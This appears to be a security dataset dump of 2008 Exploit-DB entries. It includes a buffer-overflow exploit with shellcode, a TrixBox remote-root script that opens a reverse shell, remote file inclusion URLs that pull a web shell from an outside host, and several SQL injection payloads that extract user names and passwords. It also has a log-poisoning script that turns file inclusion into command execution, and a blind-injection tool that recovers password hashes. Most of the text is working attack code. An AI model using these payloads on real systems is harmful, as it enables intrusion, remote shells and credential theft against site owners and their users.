QLWD/code_shield huggingface dataset:
标题: Download Accelerator Plus DAP 8.x - '.m3u' Local Buffer Overflow EDB-ID: 6030 CVE: 2008-3182 类型: LOCAL 平台: WINDOWS 发布日期: 2008-07-08 漏洞利用脚本: #!/usr/bin/python
# Download Accelerator Plus - DAP 8.x (m3u) 0day Local Buffer Overflow Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07_at_interia.pl>
# Tested on: Download Accelerator Plus 8.6 / XP SP2 Polish
# Shellcode: Windows Execute Command (calc)
# Just for fun ;]
##

from struct import pack

shellcode = (
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"
"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")

RET = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish)

m3u = 'http://localhost/verify_me________________________________%s.mp3'
buf = 'A' * 14074
buf += pack('<L', RET)
buf += '\x90' * 32
buf += shellcode
m3u %= buf

fd = open('evil.m3u', 'wb')
fd.write(m3u)
fd.close()

print 'DONE, import the evil.m3u and click "Verify"'

# EoF

# milw0rm.com [2008-07-08] URL: https://www.exploit-db.com/exploits/6030
标题: gapicms 9.0.2 - 'dirDepth' Remote File Inclusion EDB-ID: 6036 CVE: 2008-3183 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: ######################################################################################################
 gapicms v9.0.2 (dirDepth) Remote File Inclusion Vulnerability
######################################################################################################
[~] Found : Ghost Hacker [ R-H TeaM ]           |,  .-.  .-.  ,|
[~] HOME  : www.Real-Hack.net                   | )(_o/  \o_)( | 
[~] Email : Ghost-r00t@Hotmail.com              |/     /\     \|
[~] Script : gapicms v9.0.2
[~] Download Script : http://heanet.dl.sourceforge.net/sourceforge/gapicms/gapicms_v9.0.2stable.tar.gz
############################# [ I love the Messenger of Allah Mohammad ] #############################
[~] Error ( ktmlpro/includes/ktedit/toolbar.php )
[~] Exploit :
http://xxxx/[path]/ktmlpro/includes/ktedit/toolbar.php?dirDepth=[Evil]
############################# [ I love the Messenger of Allah Mohammad ] ############################
[~] Greetz :
PROTO & QaTaR BoeZ TeaM & x.CJP.x & Dmar al3noOoz & 4Bo3tB & Mr.JUVE & Mr.hope & LeGeNd HaCkEr ..
Root Hacker & Jiko & ScarY.HaCkEr & Qptan & the-pirate.org & My Blog [ gh0st10.wordpress.com ]
All Member Real Hack And All My Friends ..
######################################################################################################
 Real Hack Team ( R-H ) ..
######################################################################################################

# milw0rm.com [2008-07-10] URL: https://www.exploit-db.com/exploits/6036
标题: Wysi Wiki Wyg 1.0 - Local File Inclusion / Cross-Site Scripting / PHPInfo EDB-ID: 6042 CVE: 2008-5323 2008-5322 2008-3205 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-20 漏洞利用脚本: /*
   
   Wysi Wiki Wyg 1.0 (LFI,XSS,PHPInfo) Remote Vulnerabilities
   ----------------------------------------------------------
   By StAkeR[at]hotmail[dot]it
   http://www.easy-script.com/scripts-dl/wysiwikiwyg10.zip
   ----------------------------------------------------------

  1- PHPInfo Disclosure 
  -  index.php?categup=isset
  
  2- Local File Inclusion (LFI) (MQ Off)
  -  index.php?c=../../../&a=etc/passwd%00
  
  3- Cross Site Scripting (XSS)
  -  index.php?c=wikiwizi&a=recherche&s=<script>[Javascript]</script>



*/

# milw0rm.com [2008-10-20] URL: https://www.exploit-db.com/exploits/6042
标题: DreamNews Manager - 'id' SQL Injection EDB-ID: 6035 CVE: 2008-3189 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: #########################################################
#
#     dreamnews ( rss) Remote SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#                                                       =
#=========================================================    
#
#    script :  http://dreamlevels.com/dreamnews.php
#
#    DorK   :  N/A
#     
##########################################################

Exploit: 

www.[target].com/Script/dreamnews-rss.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--


L!VE DEMO:

http://dreamlevels.com/demo/dreamnews/dreamnews-rss.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(user(),version(),database()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--


column_name :

user_password
user_login



Admin Login :

/admin/

########################( Greetz )###########################
#                                                           #
# tryag.cc / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUR /str0ke    #
#                                                           #    
#         Iraqihack / FAHD / mos_chori / Silic0n            #
#                                                           #
#############################################################

                       Im IRAQi

# milw0rm.com [2008-07-10] URL: https://www.exploit-db.com/exploits/6035
标题: Fonality trixbox 2.6.1 - 'langChoice' Remote Code Execution EDB-ID: 6045 CVE: 2008-6825 类型: REMOTE 平台: LINUX 发布日期: 2008-07-12 漏洞利用脚本: #!/usr/bin/python
# TrixBox 2.6.1 langChoice remote root exploit
# muts from offensive-security.com
# All credits to Jean-Michel BESNARD <jmbesnard@gmail.com>
# Same same, but different.
# http://www.offensive-security.com/0day/trixbox.py.txt
##################################################################################################
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# uname -a
# Linux trixbox1.localdomain 2.6.25.7 #4 SMP Tue Jun 17 19:35:11 EDT 2008 i686 i686 i386 GNU/Linux
##################################################################################################

import sys
from socket import *
import re
import os
from time import sleep

print ("[*] BY THE POWER OF GRAYSKULL - I HAVE THE ROOTZ0R!\r\n"
"[*] TrixBox 2.6.1 langChoice remote root exploit \r\n"
"[*] http://www.offensive-security.com/0day/trixbox.py.txt\r\n")

if (len(sys.argv)!=5):
 print "[*] Usage: %s <rhost> <rport> <lhost> <lport>" % sys.argv[0]
 exit(0)

host=sys.argv[1]
port=int(sys.argv[2])
lhost=sys.argv[3]
lport=int(sys.argv[4])


def create_post(injection):
        buffer=("POST /user/index.php HTTP/1.1 \r\n"
        "Host: 192.168.219.132 \r\n"
        "Content-Type: application/x-www-form-urlencoded \r\n"
        "Content-Length: "+str(len(injection))+"\r\n\r\n" +injection)
        return buffer

def send_post(host,port,input):
 s = socket(AF_INET, SOCK_STREAM)
 s.connect((host, port))
 s.send(input)
 output=s.recv(1024)
 s.close()
 return output

def find_sessionid(http_output):
 headers=re.split("\n",http_output)
 for header in headers:
         if re.search("Set-Cookie",header):
                 cook=header.split(" ")
   sessionid=cook[1][10:42]
                 print "[*] Session ID is %s" % sessionid
   return sessionid


print "[*] Injecting reverse shell into session file"
bash_inject="langChoice=<?php shell_exec(\"sudo /bin/bash 0</dev/tcp/"+lhost+"/"+str(lport)+" 1>%260 2>%260\");?>" 
reverse=create_post(bash_inject)
raw_session=send_post(host,port,reverse)

print "[*] Extracting Session ID"
id=find_sessionid(raw_session)

print "[*] Triggering Reverse Shell to %s %d in 3 seconds" % (lhost,lport)
sleep(3)
print "[*] Skadush! \r\n[*] Ctrl+C to exit reverse shell."
tmpsession=create_post('langChoice=../../../../../../../../../../tmp/sess_'+id+'%00')
send_post(host,port,tmpsession)

print "[*] Cleaning up"
cleanup=create_post('langChoice=english')
send_post(host,port,cleanup)
send_post(host,port,cleanup)
print "[*] Done!"

# milw0rm.com [2008-07-12] URL: https://www.exploit-db.com/exploits/6045
标题: Boonex Dolphin 6.1.2 - Multiple Remote File Inclusions EDB-ID: 6024 CVE: 2008-3167 2008-3166 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-08 漏洞利用脚本: # Name Of Script : Dolphin PHP

# Version : 6.1.2

# Download From : http://heanet.dl.sourceforge.net/sourceforge/boonex-dolphin/Dolphin-v.6.1.2-Free.zip

# Found By : RoMaNcYxHaCkEr [ RoMaNTiC-TeaM ]

# My Home Page : WwW.4RxH.CoM [ We Will Be Back Soon ] & Tryag.cc/cc [ Member From Tryag Forum ]

# Type Of Exploit : RFI In Multiple Files

# Introduce : Some Of Modules Is Infected And Some In Pulgins You Will See Below

# POC : 

http://WwW.4RxH.CoM/Dolphin-v.6.1.2-Free/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Dolphin-v.6.1.2-Free/plugins/safehtml/safehtml.php?dir[plugins]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/Dolphin-v.6.1.2-Free/ray/modules/global/inc/content.inc.php?sIncPath=http://rxh.freehostia.com/shells/c99in.txt?

# Also We See RFI In Different Files But .htaccess Is Deny All Files In Some Path

# Greet To : Tryag TeaM ,Injector TeaM ,Unknown Hacker , aLwHeD

# Note : No One Perfect  :) 

# rXh

# bEST wISHES

# milw0rm.com [2008-07-08] URL: https://www.exploit-db.com/exploits/6024
标题: Mole Group Hotel Script 1.0 - SQL Injection EDB-ID: 6021 CVE: 2008-3124 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-08 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+      Mole Group Hotel Script 1.0 Remote SQL Injection Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 8 JULY 2008
[*] Script Download: http://www.mole-group.com/content/view/44/59/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 Mole Group Hotel Script suffers from a insecure mysql query in the "file" variable.
 This can lead to malicous users arbitrary selecting confidential information from the database.

 See below for the SQL injection.



[*] SQL Injection:

 http://site.com/index.php?file=1/**/UNION/**/ALL/**/SELECT/**/1,CONVERT(name/**/using/**/latin1),3,4/**/FROM/**/settings/*



[*] NOTE/TIP: 

 admin login is at /admin/



[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

 ...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+      Mole Group Hotel Script 1.0 Remote SQL Injection Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-08] URL: https://www.exploit-db.com/exploits/6021
标题: BoonEx Ray 3.5 - 'sIncPath' Remote File Inclusion EDB-ID: 6028 CVE: 2008-3166 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-08 漏洞利用脚本: # Name Of Script : Ray

# Version : 3.5

# Download From : http://get.boonex.com/Ray-v.3.5-Suite-Free

# Found By : RoMaNcYxHaCkEr [ RoMaNTiC-TeaM ]

# My Home Page : WwW.4RxH.CoM [ We Will Be Back Soon ] & Tryag.cc/cc [ Member From Tryag Forum ]

# Type Of Exploit : RFI

# POC : 

http://WwW.4RxH.CoM/ray.3.5/modules/global/inc/content.inc.php?sIncPath=http://rxh.freehostia.com/shells/c99in.txt?

# Greet To : Tryag TeaM ,Injector TeaM ,Unknown Hacker , aLwHeD

# Note : No One Perfect  :) 

# rXh

# bEST wISHES

# milw0rm.com [2008-07-08] URL: https://www.exploit-db.com/exploits/6028
标题: WebXell Editor 0.1.3 - Arbitrary File Upload EDB-ID: 6015 CVE: 2008-3178 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: ===========================================================================
  WebXell Editor (upload_pictures.php) Arbitrary File Upload Vulnerability
===========================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 7 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : WebXell Editor
 VERSION     : 0.1.3
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/webxelleditor/webXell-0.1.3.zip
#####################################################

--- Arbitrary File Upload ---

 This Vulnerability can upload malicious files direct to web server.
Use Web proxy (Webscarab,etc..) to intercept data.

[+] Upload Path: http://[Target]/[webxell_path]/upload_pictures.php

 [-] POC Exploit:

POST http://192.168.24.25/webxell/upload_pictures.php HTTP/1.1
Host: 192.168.24.25
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.24.25/webxell/index.php?file=test.xml
Cookie: storyread[1]=1; PHPSESSID=a663694e586aba414a1b9fb79917891f
Content-Type: multipart/form-data; boundary=---------------------------278151583918669
Content-length: 241

-----------------------------278151583918669
Content-Disposition: form-data; name="updFile"; filename="phpbug.php"
Content-Type: img/jpeg

<?php
EVIL SHELL SCRIPT
?>
-----------------------------278151583918669--


[+] Shell Script: ***You can intercept file's name with Web proxy that tell the real name***

 [-] Position: http://[target]/[webxell_path]/upload/[Evil_File]


##################################################################
  Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  
##################################################################

# milw0rm.com [2008-07-07] URL: https://www.exploit-db.com/exploits/6015
标题: SmartPPC Pay Per Click Script - 'idDirectory' Blind SQL Injection (1) EDB-ID: 6014 CVE: 2008-3152 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: +---------------------------------------+
|   Blind SQL Injection Vulnerability   |
|      in  Pay Per Click Script         |
|     found by Hamtaro aka CorVu5       |
|there must be 50 ways to learn to hover|
+---------------------------------------+
 
#gdork: "Pay Per Click Script powered by SmartPPC.com."
 
#vuln: site.com/directory.php?username=&idDirectory=90992%20and%20ascii(substring((SELECT%20concat(username,0x3a,pass)%20from%20users%20limit%200,1),1,1))%3E108
 
#login: site.com/accounts.php
---------------------------------------
greetz Hamtaro aka CorVu5

# milw0rm.com [2008-07-07] URL: https://www.exploit-db.com/exploits/6014
标题: Joomla! Component Content 1.0.0 - 'itemID' SQL Injection EDB-ID: 6025 CVE: 2008-6923 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-08 漏洞利用脚本: -------------------------------------------------------------------------------------------
                                    
   Joomla Component com_content SQL Injection Vulnerabity
                                    
-------------------------------------------------------------------------------------------


 Author    :  unknown_styler

 Dork      :  inurl:com_content

 POC        : http://localhost/index.php?option=index.php?option=com_content&task=blogcategory&id=60&Itemid={SQL}

 Example    : http://localhost/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999%20union%20select%201,concat_ws(0x3a,username,password),3,4,5%20from%20jos_users/*

------------------------------------------------------------------------------------------------------------------------------------

                                         Greetings :  h4ck-y0u.org

side note:

<name>PÃ¡gina de contenido</name>
<author>Projecte Joomla!</author>
<creationDate>July 2004</creationDate>
<copyright>(C) 2005 Open Source Matters. All rights reserved.</copyright>
<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<version>1.0.0</version>

# milw0rm.com [2008-07-08] URL: https://www.exploit-db.com/exploits/6025
标题: Mole Group Last Minute Script 4.0 - SQL Injection EDB-ID: 6027 CVE: 2008-3125 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-08 漏洞利用脚本: -[*]+================================================================================+[*]-
-[*]+         Last Minute Script <= 4.0 Remote SQL Injection Vulnerability      +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 8 JULY 2008
[*] Script Download: http://www.mole-group.com/content/view/31/45/
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

 Last Minute Script 4.0 (and all prior versions) suffer from a multirow SQL injection flaw,
 This allows the remote attacker to execute arbitrary MySQL querys, and possibly gaining access 
 to confidential information.

 below is a example.

 

[*] SQL Injection:

 http://site.com/index.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONVERT(CONCAT(name,0x3a,password,0x3C62723E)/**/using/**/latin1),2,3,4/**/FROM/**/users/*



[*] NOTE/TIP: 

 passwords are in plaintext.

 There are also other SQL injections around the site which i have found, So no one even bother to post has seperate vulns.



[*] GREETZ: 

 milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

 ...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+         Last Minute Script <= 4.0 Remote SQL Injection Vulnerability      +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-08] URL: https://www.exploit-db.com/exploits/6027
标题: Fuzzylime CMS 3.01a - 'file' Local File Inclusion EDB-ID: 6016 CVE: 2008-6834 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: #!/usr/bin/perl
# ----------------------------------------------------------
# Fuzzylime CMS 3.01 Multiple LFI / RCE
# author  : Cod3rZ
# website : http://cod3rz.helloweb.eu
# ----------------------------------------------------------
# http://[site]/blog.php?file=../[file]\0
# http://[site]/code/newsheads.php?heads=../[file]\0
# post
# http://[site]/code/commupdate.php (type=count&s=[file]\0)
# ----------------------------------------------------------
# LFI to RCE:
# ----------------------------------------------------------

use LWP::UserAgent;

 system("cls");
#system("clear");

 print " -------------------------------------------------\n";
 print " Fuzzylime CMS 3.01 LFI / RCE                     \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";
 print " Insert Site (http://site.com/):                  \n ";
 chomp($site = <STDIN>);
 print " -------------------------------------------------\n";
 print " Insert Logs path                                 \n ";
 chomp($path = <STDIN>);
 print " -------------------------------------------------\n";
 
 #Infect Logs
 $lwp = LWP::UserAgent->new;
 $siten = $site.'/blog.php?file=';
 $ua = $lwp->get($site.'coderz <?php passthru(stripslashes($_GET[cmd])); ?> /coderz');
 #Control
 $ua = $lwp->get($site.$path.'%00');
 if($ua->content =~ m/cod3rz/) {
 print " Ok ".$site." is infected                         \n";
 print " -------------------------------------------------\n";
 print " ".$siten.$path."&cmd=[command]\\0                 \n";
 print " -------------------------------------------------\n";
 }

# milw0rm.com [2008-07-07] URL: https://www.exploit-db.com/exploits/6016
标题: Triton CMS Pro 1.06 - 'x-forwarded-for' Blind SQL Injection EDB-ID: 6017 CVE: 2008-3153 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: #!/usr/bin/perl -w
#Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
#Admin's username/hash disclosure exploit
#Benchmark() method, so take a coffee and relax
#Coded by __GiReX__

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
 print "\nUsage: perl $0 [host] [path] [1/2]\n";
 print "Example: perl $0 localhost /tcms/\n";
 exit;
}

my $host  = ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

my $client =  new LWP::UserAgent;
my $get    =  new HTTP::Request('GET', $host);
my @cset   =  (97..122, 0);               # Only  a-z  charset for username exploit if need change it
my @cset2  =  (48..57, 97..102); 
my $prefix =  "tc_";         

my ($i, $j) = (0, 1);
my ($user, $hash) = (undef, undef);

banner();

while($i != $#cset)
{  
   for($i = 0; $i <= $#cset; $i++)
   {
    my ($pre_time, $post_time) = time(); 
 
 info(chr($cset[$i]), "Username", $user);
 $rv = check_char($cset[$i], $j, "username");
 $post_time = time(); 
 
  if($post_time - $pre_time > 3 and $rv)
  {
  $user .= chr($cset[$i]); 
  last;
  }
   }

  $j++;
}

if(not defined $user)
{
     print STDOUT "\n\n[-] Exploit mistake: please check the benchmark and expected time\n\n";
  exit;
}
else
{
     print STDOUT "\n[+] Admin Hashed Pass: \r";
}

for($j = 0; $j <= 32; $j++)
{  
    for($i = 0; $i <= $#cset2; $i++)
    {
     $pre_time = time(); 
 
  info(chr($cset2[$i]), "Hashed Pass", $hash);
  $rv = check_char($cset2[$i], $j, "password");
  $post_time = time(); 
 
         if($post_time - $pre_time > 3 and $rv)
      {
          $hash .= chr($cset2[$i]);
          last;
      }
    }
}

if(not defined $hash or length($hash) != 32)
{
     print STDOUT "\n\n[-] Exploit mistake: please check the benchmark expected time\n\n";
}
else 
{
     print STDOUT "\n\n[+] Exploit terminated\n\n";
}


sub banner
{
   print "\n";
   print "[+] Triton CMS Pro (X-Forwarded-For) Blind SQL Injection\n";
   print "[+] Admin's username/hash disclosure exploit\n";
   print "[+] Coded by __GiReX__\n";
   print "\n";
}

sub info
{
  my($c, $str, $cur)  =  @_;
 
 $cur = '' unless defined $cur;
 print  STDOUT "[+] Admin ${str}: ${cur}${c}\r";
 
 $| = 1; 
}

sub check_char
{
  my ($char, $n, $field)  =  @_ ;
   
    $get->header('X-Forwarded-For' =>  "-1' AND ".
        "CASE WHEN (SELECT ASCII(SUBSTRING(${field}, ${n}, 1)) ".
        "FROM ${prefix}members WHERE id=1)=${char} ".
                 "THEN benchmark(99000000, CHAR(0)) END#"); 

    $res = $client->request($get);
    
  return $res->is_success;
}

# milw0rm.com [2008-07-07] URL: https://www.exploit-db.com/exploits/6017